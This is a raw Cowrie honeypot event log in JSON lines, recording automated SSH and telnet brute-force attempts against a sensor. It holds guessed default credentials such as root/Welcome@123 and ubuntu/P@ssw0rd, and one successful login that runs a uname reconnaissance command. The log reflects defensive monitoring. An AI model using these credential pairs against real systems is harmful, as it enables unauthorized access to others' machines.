{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:04.625831Z","src_ip":"192.109.200.237","session":"b6580e5a9d8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:04.948347Z","src_ip":"192.109.200.237","session":"b6580e5a9d8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.000542402267456,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:05.812914Z","src_ip":"50.6.8.71","session":"31f33aec0c89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:06.033531Z","src_ip":"192.109.200.237","session":"b6580e5a9d8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.12.54.56","src_port":39710,"dst_ip":"159.203.135.109","dst_port":22,"session":"f06c9b475d81","protocol":"ssh","message":"New connection: 106.12.54.56:39710 (159.203.135.109:22) [session: f06c9b475d81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:06.108393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:06.116888Z","src_ip":"106.12.54.56","session":"f06c9b475d81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:06.345913Z","src_ip":"106.12.54.56","session":"f06c9b475d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:07.030422Z","src_ip":"106.12.54.56","session":"f06c9b475d81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.00311827659607,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:08.050527Z","src_ip":"50.6.8.71","session":"b9d463a04c5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58956,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4414fe5c023","protocol":"ssh","message":"New connection: 192.109.200.237:58956 (159.203.135.109:22) [session: a4414fe5c023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:08.206639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:08.211212Z","src_ip":"192.109.200.237","session":"a4414fe5c023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:08.293274Z","src_ip":"192.109.200.237","session":"a4414fe5c023","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:08.540254Z","src_ip":"192.109.200.237","session":"a4414fe5c023","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:09.625550Z","src_ip":"192.109.200.237","session":"a4414fe5c023","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57002,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac1415bfdeb8","protocol":"ssh","message":"New connection: 192.109.200.237:57002 (159.203.135.109:22) [session: ac1415bfdeb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:11.746080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:11.750704Z","src_ip":"192.109.200.237","session":"ac1415bfdeb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:11.836965Z","src_ip":"192.109.200.237","session":"ac1415bfdeb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:12.085630Z","src_ip":"192.109.200.237","session":"ac1415bfdeb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34488,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ac9182a7f04","protocol":"telnet","message":"New connection: 50.6.8.71:34488 (10.17.0.5:23) [session: 5ac9182a7f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:12.622985Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:13.170483Z","src_ip":"192.109.200.237","session":"ac1415bfdeb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.673203468322754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:13.496876Z","src_ip":"50.6.8.71","session":"2df5f8fe3cd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57004,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bf5b81eaa6a","protocol":"ssh","message":"New connection: 192.109.200.237:57004 (159.203.135.109:22) [session: 5bf5b81eaa6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:15.378671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:15.383609Z","src_ip":"192.109.200.237","session":"5bf5b81eaa6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:15.466659Z","src_ip":"192.109.200.237","session":"5bf5b81eaa6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei123","message":"login attempt [root/Huawei123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:15.715714Z","src_ip":"192.109.200.237","session":"5bf5b81eaa6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:16.801751Z","src_ip":"192.109.200.237","session":"5bf5b81eaa6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57018,"dst_ip":"159.203.135.109","dst_port":22,"session":"95d3466655d5","protocol":"ssh","message":"New connection: 192.109.200.237:57018 (159.203.135.109:22) [session: 95d3466655d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:18.887007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:18.895368Z","src_ip":"192.109.200.237","session":"95d3466655d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:18.976935Z","src_ip":"192.109.200.237","session":"95d3466655d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:19.223230Z","src_ip":"192.109.200.237","session":"95d3466655d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:20.308636Z","src_ip":"192.109.200.237","session":"95d3466655d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.31888389587402,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:20.422426Z","src_ip":"50.6.8.71","session":"93e563c6214b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39858,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6c7f94461a8","protocol":"ssh","message":"New connection: 192.109.200.237:39858 (159.203.135.109:22) [session: d6c7f94461a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:22.316956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:22.321102Z","src_ip":"192.109.200.237","session":"d6c7f94461a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:22.402839Z","src_ip":"192.109.200.237","session":"d6c7f94461a8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:22.649455Z","src_ip":"192.109.200.237","session":"d6c7f94461a8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:22.853837Z","src_ip":"192.109.200.237","session":"d6c7f94461a8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:22.857408Z","src_ip":"192.109.200.237","session":"d6c7f94461a8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:22.942297Z","src_ip":"192.109.200.237","session":"d6c7f94461a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:22.946913Z","src_ip":"192.109.200.237","session":"d6c7f94461a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39872,"dst_ip":"159.203.135.109","dst_port":22,"session":"faad920fc13c","protocol":"ssh","message":"New connection: 192.109.200.237:39872 (159.203.135.109:22) [session: faad920fc13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:25.936472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:25.941357Z","src_ip":"192.109.200.237","session":"faad920fc13c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:26.023262Z","src_ip":"192.109.200.237","session":"faad920fc13c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:18:26.268817Z","src_ip":"192.109.200.237","session":"faad920fc13c","protocol":"ssh"}
